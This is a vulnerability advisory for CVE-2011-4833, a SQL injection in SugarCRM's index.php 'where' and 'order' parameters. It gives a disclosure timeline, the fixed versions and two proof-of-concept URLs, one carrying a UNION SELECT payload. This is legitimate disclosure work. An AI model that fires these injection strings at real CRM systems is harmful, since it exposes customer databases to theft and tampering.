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SQL Injection in SugarCRM

Advisory ID:HTB23051
Vendor:SugarCRM Inc.
Vulnerable Versions:Community Edition 6.3.0RC1 and probably prior
Tested Version:Community Edition 6.3.0RC1
Advisory Publication:October 5, 2011 [without technical details]
Vendor Notification:October 5, 2011
Public Disclosure:November 30, 2011
Latest Update:November 30, 2011
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2011-4833
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in SugarCRM, which can be exploited to perform SQL injection attacks.

1) SQL Injection Vulnerability in SugarCRM: CVE-2011-4833
Input passed via the "where" and "order" GET parameters to index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&wh ere=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66 ,67,68,69,70,71%20--%20
http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&or der=SQL_CODE_HERE%20--%20
Successful exploitation of the vulnerabilities requires attacker to be registered and logged-in.

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This was addressed as a part of the following versions of SugarCRM.

6.1.7 ( )
6.2.4 ( )
6.3.0RC3 ( )
6.4.0beta1 ( )

Upgrading to any of these versions will resolve the issue. Downloads are available at

[1] High-Tech Bridge Advisory HTB23051 - - SQL Injection Vulnerability in SugarCRM
[2] SugarCRM - - Sugar is an affordable and easy to use customer relationship management (CRM) platform, designed to help your business communicate with prospects, share sales information, close deals and keep customers happy.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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